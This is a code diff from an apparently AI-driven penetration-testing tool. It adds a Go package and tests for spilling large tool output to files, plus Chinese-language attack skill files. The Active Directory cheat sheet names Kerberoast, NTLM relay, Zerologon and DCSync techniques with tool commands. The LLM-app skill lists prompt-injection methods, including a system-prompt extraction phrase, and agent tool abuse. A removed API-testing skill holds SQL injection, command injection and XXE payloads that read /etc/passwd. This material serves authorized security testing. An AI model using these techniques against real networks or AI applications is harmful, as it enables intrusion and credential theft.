t.Fatalf("CallTool exec: %v", err)
|
||||||
|
}
|
||||||
|
if executionID == "" || result == nil || !result.IsError {
|
||||||
|
t.Fatalf("expected soft wait timeout, id=%q result=%#v", executionID, result)
|
||||||
|
}
|
||||||
|
|
||||||
|
status, _, err := server.CallTool(context.Background(), "get_tool_execution", map[string]interface{}{
|
||||||
|
"execution_id": executionID,
|
||||||
|
"include_partial_output": true,
|
||||||
|
"partial_output_max_bytes": 4096,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("get_tool_execution: %v", err)
|
||||||
|
}
|
||||||
|
body := mcp.ToolResultPlainText(status)
|
||||||
|
if !strings.Contains(body, `"status": "running"`) {
|
||||||
|
t.Fatalf("expected running execution, got: %s", body)
|
||||||
|
}
|
||||||
|
if !strings.Contains(body, "partial-") || !strings.Contains(body, "partial_output") {
|
||||||
|
t.Fatalf("expected partial output in execution status, got: %s", body)
|
||||||
|
}
|
||||||
|
server.CancelToolExecution(executionID)
|
||||||
|
}
|
||||||
|
|
||||||
func TestExecuteSystemCommand_FailureFormat(t *testing.T) {
|
func TestExecuteSystemCommand_FailureFormat(t *testing.T) {
|
||||||
executor, _ := setupTestExecutor(t)
|
executor, _ := setupTestExecutor(t)
|
||||||
res, err := executor.executeSystemCommand(context.Background(), map[string]interface{}{
|
res, err := executor.executeSystemCommand(context.Background(), map[string]interface{}{
|
||||||
@@ -94,6 +131,70 @@ func TestExecuteSystemCommand_FailureFormat(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestExecuteSystemCommand_OutputIsSourceLimited(t *testing.T) {
|
||||||
|
executor, _ := setupTestExecutor(t)
|
||||||
|
spillRoot := t.TempDir()
|
||||||
|
executor.SetToolOutputMaxBytes(200)
|
||||||
|
executor.SetToolOutputSpillRoot(spillRoot)
|
||||||
|
ctx := mcp.WithMCPConversationID(context.Background(), "exec-spill")
|
||||||
|
res, err := executor.executeSystemCommand(ctx, map[string]interface{}{
|
||||||
|
"command": "i=0; while [ $i -lt 2000 ]; do printf 0123456789; i=$((i+1)); done",
|
||||||
|
"shell": "sh",
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("executeSystemCommand: %v", err)
|
||||||
|
}
|
||||||
|
if res == nil || res.IsError {
|
||||||
|
t.Fatalf("expected success, got %+v", res)
|
||||||
|
}
|
||||||
|
text := res.Content[0].Text
|
||||||
|
if !strings.Contains(text, "<persisted-output>") || !strings.Contains(text, "Full output saved to:") {
|
||||||
|
t.Fatalf("missing persisted-output notice: %q", text)
|
||||||
|
}
|
||||||
|
if len(text) > 200 {
|
||||||
|
t.Fatalf("output exceeded hard limit: len=%d text=%q", len(text), text)
|
||||||
|
}
|
||||||
|
if strings.Contains(text, strings.Repeat("0123456789", 20)) {
|
||||||
|
t.Fatalf("output kept too much data: len=%d", len(text))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExecuteSystemCommand_StreamingOutputIsSourceLimited(t *testing.T) {
|
||||||
|
executor, _ := setupTestExecutor(t)
|
||||||
|
spillRoot := t.TempDir()
|
||||||
|
executor.SetToolOutputMaxBytes(200)
|
||||||
|
executor.SetToolOutputSpillRoot(spillRoot)
|
||||||
|
var streamed strings.Builder
|
||||||
|
ctx := context.WithValue(context.Background(), ToolOutputCallbackCtxKey, ToolOutputCallback(func(chunk string) {
|
||||||
|
streamed.WriteString(chunk)
|
||||||
|
}))
|
||||||
|
ctx = mcp.WithMCPConversationID(ctx, "exec-stream-spill")
|
||||||
|
res, err := executor.executeSystemCommand(ctx, map[string]interface{}{
|
||||||
|
"command": "i=0; while [ $i -lt 2000 ]; do printf abcdefghij; i=$((i+1)); done",
|
||||||
|
"shell": "sh",
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("executeSystemCommand: %v", err)
|
||||||
|
}
|
||||||
|
text := res.Content[0].Text
|
||||||
|
if !strings.Contains(text, "<persisted-output>") {
|
||||||
|
t.Fatalf("missing persisted-output notice: %q", text)
|
||||||
|
}
|
||||||
|
if len(text) > 200 {
|
||||||
|
t.Fatalf("returned output exceeded hard limit: len=%d text=%q", len(text), text)
|
||||||
|
}
|
||||||
|
// SSE only streams the bounded prefix; final agent-facing body is the spill notice.
|
||||||
|
if len(streamed.String()) > 200 {
|
||||||
|
t.Fatalf("streamed prefix exceeded hard limit: len=%d", len(streamed.String()))
|
||||||
|
}
|
||||||
|
if streamed.Len() == 0 {
|
||||||
|
t.Fatal("expected some streamed prefix before truncation")
|
||||||
|
}
|
||||||
|
if strings.Contains(text, strings.Repeat("abcdefghij", 50)) {
|
||||||
|
t.Fatalf("returned output kept too much raw data: len=%d", len(text))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestBuildCommandArgs_NmapSkipsEmptyOptionalFlags(t *testing.T) {
|
func TestBuildCommandArgs_NmapSkipsEmptyOptionalFlags(t *testing.T) {
|
||||||
pos1 := 1
|
pos1 := 1
|
||||||
executor, _ := setupTestExecutor(t)
|
executor, _ := setupTestExecutor(t)
|
||||||
|
|||||||
@@ -0,0 +1,292 @@
|
|||||||
|
// Package tooloutput spills oversized tool stdout/results to local files under
|
||||||
|
// the reduction cache tree (tmp/reduction/...), so agents can read_file the
|
||||||
|
// full text after context truncation.
|
||||||
|
package tooloutput
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"unicode/utf8"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
defaultRootDir = "tmp/reduction"
|
||||||
|
readFileHint = "read_file"
|
||||||
|
)
|
||||||
|
|
||||||
|
// SpillOpts scopes where a trunc file is written (mirrors reduction RootDir layout).
|
||||||
|
type SpillOpts struct {
|
||||||
|
RootDir string // reduction_root_dir or empty → tmp/reduction
|
||||||
|
ProjectID string
|
||||||
|
ConversationID string
|
||||||
|
ExecutionID string // preferred file name; empty → uuid
|
||||||
|
}
|
||||||
|
|
||||||
|
// SessionRoot returns the conversation/project-scoped reduction cache root.
|
||||||
|
func SessionRoot(configuredBase, projectID, conversationID string) string {
|
||||||
|
base := strings.TrimSpace(configuredBase)
|
||||||
|
if base == "" {
|
||||||
|
base = defaultRootDir
|
||||||
|
}
|
||||||
|
if pid := strings.TrimSpace(projectID); pid != "" {
|
||||||
|
return filepath.Join(base, "projects", sanitizeSegment(pid))
|
||||||
|
}
|
||||||
|
conv := strings.TrimSpace(conversationID)
|
||||||
|
if conv == "" {
|
||||||
|
conv = "default"
|
||||||
|
}
|
||||||
|
return filepath.Join(base, "conversations", sanitizeSegment(conv))
|
||||||
|
}
|
||||||
|
|
||||||
|
// WriteTruncFile writes full content under {sessionRoot}/trunc/{id} and returns
|
||||||
|
// an absolute path suitable for read_file.
|
||||||
|
func WriteTruncFile(opts SpillOpts, content string) (string, error) {
|
||||||
|
session := SessionRoot(opts.RootDir, opts.ProjectID, opts.ConversationID)
|
||||||
|
id := strings.TrimSpace(opts.ExecutionID)
|
||||||
|
if id == "" {
|
||||||
|
id = uuid.NewString()
|
||||||
|
}
|
||||||
|
id = sanitizeSegment(id)
|
||||||
|
dir := filepath.Join(session, "trunc")
|
||||||
|
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||||
|
return "", fmt.Errorf("mkdir tool output trunc dir: %w", err)
|
||||||
|
}
|
||||||
|
path := filepath.Join(dir, id)
|
||||||
|
if abs, err := filepath.Abs(path); err == nil {
|
||||||
|
path = abs
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(path, []byte(content), 0o600); err != nil {
|
||||||
|
return "", fmt.Errorf("write tool output trunc file: %w", err)
|
||||||
|
}
|
||||||
|
return path, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// BoundWithSpill truncates full text into a <persisted-output> notice after
|
||||||
|
// spilling the original to disk. The returned string is always ≤ maxBytes when
|
||||||
|
// maxBytes > 0. On spill failure it falls back to a prefix + marker (no path).
|
||||||
|
func BoundWithSpill(full string, maxBytes int, opts SpillOpts) string {
|
||||||
|
if maxBytes <= 0 || len(full) <= maxBytes {
|
||||||
|
return full
|
||||||
|
}
|
||||||
|
path, err := WriteTruncFile(opts, full)
|
||||||
|
if err != nil {
|
||||||
|
return boundPrefixOnly(full, maxBytes, len(full), "")
|
||||||
|
}
|
||||||
|
return FormatPersistedOutput(full, path, maxBytes)
|
||||||
|
}
|
||||||
|
|
||||||
|
// FormatPersistedOutput builds a reduction-compatible notice with head/tail
|
||||||
|
// previews that fits in maxBytes.
|
||||||
|
func FormatPersistedOutput(full, filePath string, maxBytes int) string {
|
||||||
|
return formatPersisted(len(full), filePath, full, maxBytes)
|
||||||
|
}
|
||||||
|
|
||||||
|
// FormatPersistedFromFile builds the notice using previews read from an already
|
||||||
|
// spilled file (streaming collectors that never kept the full string in memory).
|
||||||
|
func FormatPersistedFromFile(filePath string, originalSize, maxBytes int) string {
|
||||||
|
previewSrc := ""
|
||||||
|
if data, err := os.ReadFile(filePath); err == nil {
|
||||||
|
previewSrc = string(data)
|
||||||
|
if originalSize <= 0 {
|
||||||
|
originalSize = len(data)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return formatPersisted(originalSize, filePath, previewSrc, maxBytes)
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatPersisted(originalSize int, filePath, previewSrc string, maxBytes int) string {
|
||||||
|
if maxBytes <= 0 {
|
||||||
|
maxBytes = 12000
|
||||||
|
}
|
||||||
|
// Always keep the absolute path readable for read_file, even under tight budgets.
|
||||||
|
minimal := fmt.Sprintf(
|
||||||
|
"<persisted-output>\nOutput too large (%d). Full output saved to: %s\nUse %s to read.\n</persisted-output>",
|
||||||
|
originalSize, filePath, readFileHint,
|
||||||
|
)
|
||||||
|
if len(minimal) > maxBytes {
|
||||||
|
core := fmt.Sprintf("<persisted-output>Full output saved to: %s</persisted-output>", filePath)
|
||||||
|
if len(core) <= maxBytes {
|
||||||
|
return core
|
||||||
|
}
|
||||||
|
// Path longer than budget: keep as much of the path as possible after a short prefix.
|
||||||
|
prefix := "<persisted-output>Full output saved to: "
|
||||||
|
suffix := "</persisted-output>"
|
||||||
|
room := maxBytes - len(prefix) - len(suffix)
|
||||||
|
if room <= 0 {
|
||||||
|
return clampPrefix(core, maxBytes)
|
||||||
|
}
|
||||||
|
return prefix + clampSuffix(filePath, room) + suffix
|
||||||
|
}
|
||||||
|
|
||||||
|
previewBudget := maxBytes - len(minimal) + 32 // approximate room beyond minimal shell
|
||||||
|
if previewBudget > 4000 {
|
||||||
|
previewBudget = 4000
|
||||||
|
}
|
||||||
|
if previewBudget < 0 {
|
||||||
|
previewBudget = 0
|
||||||
|
}
|
||||||
|
for previewBudget >= 0 {
|
||||||
|
half := previewBudget / 2
|
||||||
|
head := clampPrefix(previewSrc, half)
|
||||||
|
tail := clampSuffix(previewSrc, previewBudget-half)
|
||||||
|
notice := fmt.Sprintf(
|
||||||
|
"<persisted-output>\nOutput too large (%d). Full output saved to: %s\nUse %s with offset/limit to read parts of the file.\nPreview (first %d):\n%s\n\nPreview (last %d):\n%s\n\n</persisted-output>",
|
||||||
|
originalSize, filePath, readFileHint, len(head), head, len(tail), tail,
|
||||||
|
)
|
||||||
|
if len(notice) <= maxBytes {
|
||||||
|
return notice
|
||||||
|
}
|
||||||
|
if previewBudget == 0 {
|
||||||
|
return minimal
|
||||||
|
}
|
||||||
|
previewBudget = previewBudget * 3 / 4
|
||||||
|
}
|
||||||
|
return minimal
|
||||||
|
}
|
||||||
|
|
||||||
|
func boundPrefixOnly(full string, maxBytes, originalSize int, filePath string) string {
|
||||||
|
marker := fmt.Sprintf("\n\n...[tool output truncated: original %d bytes, kept %d bytes]...", originalSize, maxBytes)
|
||||||
|
if filePath != "" {
|
||||||
|
marker = fmt.Sprintf("\n\n...[tool output truncated: original %d bytes, kept %d bytes; full output: %s]...", originalSize, maxBytes, filePath)
|
||||||
|
}
|
||||||
|
budget := maxBytes - len(marker)
|
||||||
|
if budget < 0 {
|
||||||
|
return clampPrefix(marker, maxBytes)
|
||||||
|
}
|
||||||
|
return clampPrefix(full, budget) + marker
|
||||||
|
}
|
||||||
|
|
||||||
|
func clampPrefix(s string, n int) string {
|
||||||
|
if n <= 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
if len(s) <= n {
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
for n > 0 && !utf8.RuneStart(s[n]) {
|
||||||
|
n--
|
||||||
|
}
|
||||||
|
return s[:n]
|
||||||
|
}
|
||||||
|
|
||||||
|
func clampSuffix(s string, n int) string {
|
||||||
|
if n <= 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
if len(s) <= n {
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
start := len(s) - n
|
||||||
|
for start < len(s) && !utf8.RuneStart(s[start]) {
|
||||||
|
start++
|
||||||
|
}
|
||||||
|
return s[start:]
|
||||||
|
}
|
||||||
|
|
||||||
|
func sanitizeSegment(s string) string {
|
||||||
|
s = strings.TrimSpace(s)
|
||||||
|
if s == "" {
|
||||||
|
return "default"
|
||||||
|
}
|
||||||
|
s = strings.ReplaceAll(s, string(filepath.Separator), "-")
|
||||||
|
s = strings.ReplaceAll(s, "/", "-")
|
||||||
|
s = strings.ReplaceAll(s, "\\", "-")
|
||||||
|
s = strings.ReplaceAll(s, "..", "__")
|
||||||
|
if len(s) > 180 {
|
||||||
|
s = s[:180]
|
||||||
|
}
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
|
||||||
|
// Tee writes every byte to a trunc file while callers keep only a bounded
|
||||||
|
// in-memory prefix. Safe for concurrent stdout/stderr writers.
|
||||||
|
type Tee struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
opts SpillOpts
|
||||||
|
file *os.File
|
||||||
|
path string
|
||||||
|
err error
|
||||||
|
open bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewTee prepares a lazy spill file (created on first Write).
|
||||||
|
func NewTee(opts SpillOpts) *Tee {
|
||||||
|
return &Tee{opts: opts}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write appends to the spill file, creating it on first use.
|
||||||
|
func (t *Tee) Write(p []byte) (int, error) {
|
||||||
|
if t == nil {
|
||||||
|
return len(p), nil
|
||||||
|
}
|
||||||
|
t.mu.Lock()
|
||||||
|
defer t.mu.Unlock()
|
||||||
|
if err := t.ensureOpenLocked(); err != nil {
|
||||||
|
return len(p), nil // best-effort: never fail the tool pipe
|
||||||
|
}
|
||||||
|
if t.file == nil {
|
||||||
|
return len(p), nil
|
||||||
|
}
|
||||||
|
_, _ = t.file.Write(p)
|
||||||
|
return len(p), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (t *Tee) ensureOpenLocked() error {
|
||||||
|
if t.open || t.err != nil {
|
||||||
|
return t.err
|
||||||
|
}
|
||||||
|
t.open = true
|
||||||
|
session := SessionRoot(t.opts.RootDir, t.opts.ProjectID, t.opts.ConversationID)
|
||||||
|
id := strings.TrimSpace(t.opts.ExecutionID)
|
||||||
|
if id == "" {
|
||||||
|
id = uuid.NewString()
|
||||||
|
}
|
||||||
|
id = sanitizeSegment(id)
|
||||||
|
dir := filepath.Join(session, "trunc")
|
||||||
|
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||||
|
t.err = err
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
path := filepath.Join(dir, id)
|
||||||
|
if abs, err := filepath.Abs(path); err == nil {
|
||||||
|
path = abs
|
||||||
|
}
|
||||||
|
f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o600)
|
||||||
|
if err != nil {
|
||||||
|
t.err = err
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
t.file = f
|
||||||
|
t.path = path
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Path returns the absolute spill path after any Write (may be empty if unused/failed).
|
||||||
|
func (t *Tee) Path() string {
|
||||||
|
if t == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
t.mu.Lock()
|
||||||
|
defer t.mu.Unlock()
|
||||||
|
return t.path
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close flushes and closes the spill file.
|
||||||
|
func (t *Tee) Close() error {
|
||||||
|
if t == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
t.mu.Lock()
|
||||||
|
defer t.mu.Unlock()
|
||||||
|
if t.file == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
err := t.file.Close()
|
||||||
|
t.file = nil
|
||||||
|
return err
|
||||||
|
}
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
package tooloutput
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestBoundWithSpillWritesFullFile(t *testing.T) {
|
||||||
|
root := t.TempDir()
|
||||||
|
full := strings.Repeat("A", 2000) + "TAIL"
|
||||||
|
out := BoundWithSpill(full, 512, SpillOpts{
|
||||||
|
RootDir: root,
|
||||||
|
ConversationID: "conv-1",
|
||||||
|
ExecutionID: "exec-1",
|
||||||
|
})
|
||||||
|
if len(out) > 512 {
|
||||||
|
t.Fatalf("bounded output exceeds max: %d", len(out))
|
||||||
|
}
|
||||||
|
if !strings.Contains(out, "<persisted-output>") {
|
||||||
|
t.Fatalf("expected persisted-output notice: %q", out)
|
||||||
|
}
|
||||||
|
path := filepath.Join(root, "conversations", "conv-1", "trunc", "exec-1")
|
||||||
|
abs, err := filepath.Abs(path)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if !strings.Contains(out, abs) {
|
||||||
|
t.Fatalf("expected absolute path %q in notice: %q", abs, out)
|
||||||
|
}
|
||||||
|
got, err := os.ReadFile(abs)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if string(got) != full {
|
||||||
|
t.Fatalf("spilled content mismatch: got %d want %d", len(got), len(full))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTeeThenFormatPersistedFromFile(t *testing.T) {
|
||||||
|
root := t.TempDir()
|
||||||
|
tee := NewTee(SpillOpts{RootDir: root, ConversationID: "c", ExecutionID: "e"})
|
||||||
|
full := strings.Repeat("xy", 100)
|
||||||
|
if _, err := tee.Write([]byte(full)); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := tee.Close(); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
notice := FormatPersistedFromFile(tee.Path(), len(full), 512)
|
||||||
|
if len(notice) > 512 {
|
||||||
|
t.Fatalf("notice too long: %d", len(notice))
|
||||||
|
}
|
||||||
|
if !strings.Contains(notice, tee.Path()) {
|
||||||
|
t.Fatalf("missing path in notice: %q", notice)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
---
|
||||||
|
name: active-directory-attack
|
||||||
|
description: >-
|
||||||
|
内网域攻击:BloodHound,Kerberoast,ADCS ESC1/ESC8,NTLM Relay,Coerce,DACL,DCSync,Zerologon/NoPac/PrintNightmare,mitm6,LLMNR,Linux内网。Use when attacking Active Directory, ADCS, NTLM relay, or internal domain.
|
||||||
|
tags: [渗透测试, penetration-testing, 红队]
|
||||||
|
---
|
||||||
|
|
||||||
|
## 内网域攻击
|
||||||
|
|
||||||
|
```
|
||||||
|
=== 内网域(2023+真实主战场) ===
|
||||||
|
侦察: BloodHound(SharpHound收集→攻击路径) | Kerberos: GetNPUsers(AS-REP)/GetUserSPNs(Kerberoast)
|
||||||
|
🚨ADCS(Certipy一把梭): certipy find -vulnerable | ESC1指定SAN申域管证书 | ESC8 relay到CA拿DC证书
|
||||||
|
🚨NTLM Relay(比PtH重要,PtH常被EDR拦): ntlmrelayx -t ldap--escalate-user / -t http CA --adcs(ESC8) / RBCD
|
||||||
|
🚨强制认证Coerce: PetitPotam(MS-EFSRPC)/coercer全协议喷/printerbug → 喂给relay
|
||||||
|
🚨DACL滥用: WriteDACL→给自己加DCSync | 影子凭据certipy shadow(GenericWrite即可,不改密码不留痕)
|
||||||
|
DCSync: secretsdump -just-dc → krbtgt hash→Golden Ticket
|
||||||
|
🚨一击致命域CVE(先测,命中直接域管): Zerologon(CVE-2020-1472,置空DC机器账户密码→DCSync) | NoPac(CVE-2021-42278/42287,机器账户改名申DC TGT) | PrintNightmare(CVE-2021-34527,后台打印RCE/加载恶意驱动) | EternalBlue(MS17-010,老SMBv1直RCE)
|
||||||
|
🚨IPv6/mitm6(默认双栈内网必打): mitm6劫持DHCPv6+DNS→WPAD→ntlmrelayx到LDAP/ADCS(比LLMNR更隐蔽,现代内网首选)
|
||||||
|
LLMNR/NBT-NS投毒: responder抓NetNTLMv2→hashcat破/relay
|
||||||
|
Linux内网: Redis未授权(CONFIG SET dir写SSH key) | NFS showmount | Docker 2375
|
||||||
|
```
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
---
|
||||||
|
name: ai-llm-app-attack
|
||||||
|
description: >-
|
||||||
|
AI/LLM应用攻击:提示注入,Agent工具滥用RCE,RAG投毒,MCP供应链,torch.load pickle RCE。Use when testing LLM apps, agents, RAG, MCP plugins, or AI model file risks.
|
||||||
|
tags: [渗透测试, penetration-testing, 红队]
|
||||||
|
---
|
||||||
|
|
||||||
|
## AI / LLM 应用攻击
|
||||||
|
|
||||||
|
```
|
||||||
|
=== AI/LLM应用(大模型应用爆发期真实攻击面) ===
|
||||||
|
提示注入: 直接(忽略上文输出system prompt) | 间接(更危险):指令藏RAG文档/网页/邮件/工具返回值/图片EXIF → 劫持Agent
|
||||||
|
🚨Agent工具滥用(最高危,直达RCE): code interpreter→注入执行 | fetch工具→SSRF内网/云元数据 | 文件工具→读/etc/passwd写webshell
|
||||||
|
| SQL工具→导全表 | shell工具→命令注入 → 验证:实际触发工具副作用(OOB回连/读到文件)才写Fact
|
||||||
|
系统提示泄露/RAG投毒/过度授权跨租户越权/MCP插件供应链/资源成本攻击(烧token) | 输出处理:LLM输出进eval/SQL/前端→二次注入/存储XSS
|
||||||
|
模型文件: torch.load默认pickle→RCE | 发现端点:抓流量找/chat /agent /tool,问Agent"你有哪些工具"
|
||||||
|
```
|
||||||
@@ -1,287 +0,0 @@
|
|||||||
---
|
|
||||||
name: api-security-testing
|
|
||||||
description: API安全测试的专业技能和方法论
|
|
||||||
version: 1.0.0
|
|
||||||
---
|
|
||||||
|
|
||||||
# API安全测试
|
|
||||||
|
|
||||||
## 概述
|
|
||||||
|
|
||||||
API安全测试是确保API接口安全性的重要环节。本技能提供API安全测试的方法、工具和最佳实践。
|
|
||||||
|
|
||||||
## 测试范围
|
|
||||||
|
|
||||||
### 1. 认证和授权
|
|
||||||
|
|
||||||
**测试项目:**
|
|
||||||
- Token有效性验证
|
|
||||||
- Token过期处理
|
|
||||||
- 权限控制
|
|
||||||
- 角色权限验证
|
|
||||||
|
|
||||||
### 2. 输入验证
|
|
||||||
|
|
||||||
**测试项目:**
|
|
||||||
- 参数类型验证
|
|
||||||
- 数据长度限制
|
|
||||||
- 特殊字符处理
|
|
||||||
- SQL注入防护
|
|
||||||
- XSS防护
|
|
||||||
|
|
||||||
### 3. 业务逻辑
|
|
||||||
|
|
||||||
**测试项目:**
|
|
||||||
- 工作流验证
|
|
||||||
- 状态转换
|
|
||||||
- 并发控制
|
|
||||||
- 业务规则
|
|
||||||
|
|
||||||
### 4. 错误处理
|
|
||||||
|
|
||||||
**测试项目:**
|
|
||||||
- 错误信息泄露
|
|
||||||
- 堆栈跟踪
|
|
||||||
- 敏感信息暴露
|
|
||||||
|
|
||||||
## 测试方法
|
|
||||||
|
|
||||||
### 1. API发现
|
|
||||||
|
|
||||||
**识别API端点:**
|
|
||||||
```bash
|
|
||||||
# 使用目录扫描
|
|
||||||
gobuster dir -u https://target.com -w api-wordlist.txt
|
|
||||||
|
|
||||||
# 使用Burp Suite被动扫描
|
|
||||||
# 浏览应用,观察API调用
|
|
||||||
|
|
||||||
# 分析JavaScript文件
|
|
||||||
# 查找API端点定义
|
|
||||||
```
|
|
||||||
|
|
||||||
### 2. 认证测试
|
|
||||||
|
|
||||||
**Token测试:**
|
|
||||||
```http
|
|
||||||
# 测试无效Token
|
|
||||||
GET /api/user
|
|
||||||
Authorization: Bearer invalid_token
|
|
||||||
|
|
||||||
# 测试过期Token
|
|
||||||
GET /api/user
|
|
||||||
Authorization: Bearer expired_token
|
|
||||||
|
|
||||||
# 测试无Token
|
|
||||||
GET /api/user
|
|
||||||
```
|
|
||||||
|
|
||||||
**JWT测试:**
|
|
||||||
```bash
|
|
||||||
# 使用jwt_tool
|
|
||||||
python jwt_tool.py <JWT_TOKEN>
|
|
||||||
|
|
||||||
# 测试算法混淆
|
|
||||||
python jwt_tool.py <JWT_TOKEN> -X a
|
|
||||||
|
|
||||||
# 测试密钥暴力破解
|
|
||||||
python jwt_tool.py <JWT_TOKEN> -C -d wordlist.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
### 3. 授权测试
|
|
||||||
|
|
||||||
**水平权限:**
|
|
||||||
```http
|
|
||||||
# 用户A访问用户B的资源
|
|
||||||
GET /api/user/123
|
|
||||||
Authorization: Bearer user_a_token
|
|
||||||
|
|
||||||
# 应该返回403
|
|
||||||
```
|
|
||||||
|
|
||||||
**垂直权限:**
|
|
||||||
```http
|
|
||||||
# 普通用户访问管理员接口
|
|
||||||
GET /api/admin/users
|
|
||||||
Authorization: Bearer user_token
|
|
||||||
|
|
||||||
# 应该返回403
|
|
||||||
```
|
|
||||||
|
|
||||||
### 4. 输入验证测试
|
|
||||||
|
|
||||||
**SQL注入:**
|
|
||||||
```http
|
|
||||||
POST /api/search
|
|
||||||
{
|
|
||||||
"query": "test' OR '1'='1"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**命令注入:**
|
|
||||||
```http
|
|
||||||
POST /api/execute
|
|
||||||
{
|
|
||||||
"command": "ping; id"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**XXE:**
|
|
||||||
```http
|
|
||||||
POST /api/parse
|
|
||||||
Content-Type: application/xml
|
|
||||||
|
|
||||||
<?xml version="1.0"?>
|
|
||||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
||||||
<foo>&xxe;</foo>
|
|
||||||
```
|
|
||||||
|
|
||||||
### 5. 速率限制测试
|
|
||||||
|
|
||||||
**测试速率限制:**
|
|
||||||
```python
|
|
||||||
import requests
|
|
||||||
|
|
||||||
for i in range(1000):
|
|
||||||
response = requests.get('https://target.com/api/endpoint')
|
|
||||||
print(f"Request {i}: {response.status_code}")
|
|
||||||
```
|
|
||||||
|
|
||||||
## 工具使用
|
|
||||||
|
|
||||||
### Postman
|
|
||||||
|
|
||||||
**创建测试集合:**
|
|
||||||
1. 导入API文档
|
|
||||||
2. 设置认证
|
|
||||||
3. 创建测试用例
|
|
||||||
4. 运行自动化测试
|
|
||||||
|
|
||||||
### Burp Suite
|
|
||||||
|
|
||||||
**API扫描:**
|
|
||||||
1. 配置API端点
|
|
||||||
2. 设置认证
|
|
||||||
3. 运行主动扫描
|
|
||||||
4. 分析结果
|
|
||||||
|
|
||||||
### OWASP ZAP
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# API扫描
|
|
||||||
zap-cli quick-scan --self-contained \
|
|
||||||
--start-options '-config api.disablekey=true' \
|
|
||||||
http://target.com/api
|
|
||||||
```
|
|
||||||
|
|
||||||
### REST-Attacker
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 扫描OpenAPI规范
|
|
||||||
rest-attacker scan openapi.yaml
|
|
||||||
```
|
|
||||||
|
|
||||||
## 常见漏洞
|
|
||||||
|
|
||||||
### 1. 认证绕过
|
|
||||||
|
|
||||||
**Token验证缺陷:**
|
|
||||||
- 弱Token生成
|
|
||||||
- Token可预测
|
|
||||||
- Token不验证签名
|
|
||||||
|
|
||||||
### 2. 权限提升
|
|
||||||
|
|
||||||
**IDOR:**
|
|
||||||
- 直接对象引用
|
|
||||||
- 未验证资源所有权
|
|
||||||
|
|
||||||
### 3. 信息泄露
|
|
||||||
|
|
||||||
**错误信息:**
|
|
||||||
- 详细错误信息
|
|
||||||
- 堆栈跟踪
|
|
||||||
- 敏感数据
|
|
||||||
|
|
||||||
### 4. 注入漏洞
|
|
||||||
|
|
||||||
**常见注入:**
|
|
||||||
- SQL注入
|
|
||||||
- NoSQL注入
|
|
||||||
- 命令注入
|
|
||||||
- XXE
|
|
||||||
|
|
||||||
### 5. 业务逻辑
|
|
||||||
|
|
||||||
**逻辑缺陷:**
|
|
||||||
- 价格操作
|
|
||||||
- 数量限制绕过
|
|
||||||
- 状态修改
|
|
||||||
|
|
||||||
## 测试清单
|
|
||||||
|
|
||||||
### 认证测试
|
|
||||||
- [ ] Token有效性验证
|
|
||||||
- [ ] Token过期处理
|
|
||||||
- [ ] 弱Token检测
|
|
||||||
- [ ] Token重放攻击
|
|
||||||
|
|
||||||
### 授权测试
|
|
||||||
- [ ] 水平权限测试
|
|
||||||
- [ ] 垂直权限测试
|
|
||||||
- [ ] 角色权限验证
|
|
||||||
- [ ] 资源访问控制
|
|
||||||
|
|
||||||
### 输入验证
|
|
||||||
- [ ] SQL注入测试
|
|
||||||
- [ ] XSS测试
|
|
||||||
- [ ] 命令注入测试
|
|
||||||
